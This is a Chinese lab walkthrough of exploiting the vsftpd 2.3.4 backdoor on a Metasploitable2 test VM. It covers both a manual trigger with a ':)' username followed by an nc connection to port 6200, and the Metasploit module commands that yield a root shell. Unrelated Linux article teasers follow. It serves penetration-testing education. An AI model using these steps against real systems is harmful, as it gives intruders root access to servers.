vsftpd_234_backdoor(笑脸漏洞)

    攻击机和受害机的IP
    kali: 192.168.75.130
    Metasploitable2 - Linux: 192.168.75.128

方法一：

1.测试其流通性

在这里插入图片描述
2. 扫描受害机的服务信息
在这里插入图片描述
3. ftp连接受害机，用户名加上笑脸符号 ：） 密码任意

在这里插入图片描述
注意（在输入密码回车后会有停顿，记住不要关闭ftp连接）
4. 此时扫描到受害机会反弹一个6200端口
在这里插入图片描述
5.使用 nc 连接会发现是root权限
在这里插入图片描述
笑脸漏洞利用成功.

如果上面的方法不会的话，下面介绍更简单的方法。

方法二：

打开msf框架
命令为：msfconsole
在这里插入图片描述

搜索笑脸漏洞
命令为： search vsftpd
在这里插入图片描述
使用改模块
命令为: use 0 或者 use exploit/unix/ftp/vsftpd_234_backdoor
在这里插入图片描述
设置攻击的受害机
命令为： set rhosts 192.168.75.128
在这里插入图片描述
运行该模块
命令为： run 或者 exploit
在这里插入图片描述
同样获取的也是root权限。
觉得对您有帮助的话，麻烦用您金贵的手点个赞吧！！！
觉得对您有帮助的话，麻烦用您金贵的手点个赞吧！！！
觉得对您有帮助的话，麻烦用您金贵的手点个赞吧！！！

Logo
Linux

更多推荐

Linux虚拟文件系统之文件系统卸载（sys_umount())

Linux中卸载文件系统由umount系统调用实现，入口函数为sys_umount()。较于文件系统的安装较为简单，下面是具体的实现。1. /*sys_umont系统调用*/2. SYSCALL_DEFINE2(umount, char __user *, name, int, flags)3. {4.struct path path;

avatar Linux

网卡速率和双工模式的配置

http://linux.chinaitlab.com/system/792187.html1、mii-tool 配置网络设备协商方式的工具；    1.1 mii-tool 介绍；    mii-tool - view, manipulate media-independent interface status （mii-tool 是查看，管理介质的网络接口的状态）

avatar Linux

Linux系统下超级终端Minicom的使用方法（例如：连接交换机，路由器等）转http://baike.baidu.com/view/2911642.htm?fr=ala0_1

<br />　　Linux系统下超级终端Minicom的使用方法 <br />　　Linux下的Minicom的功能与下的超级终端功能相似，适于在通过超级终端对设备的管理以及对嵌入操作系统的升级，现写出Minicom的使用手册： <br />　　1． 启动minicom <br />　　以root权限登录系统 <br />　　使用命令 <br />　　minicom –s 则minicom启动，屏

avatar Linux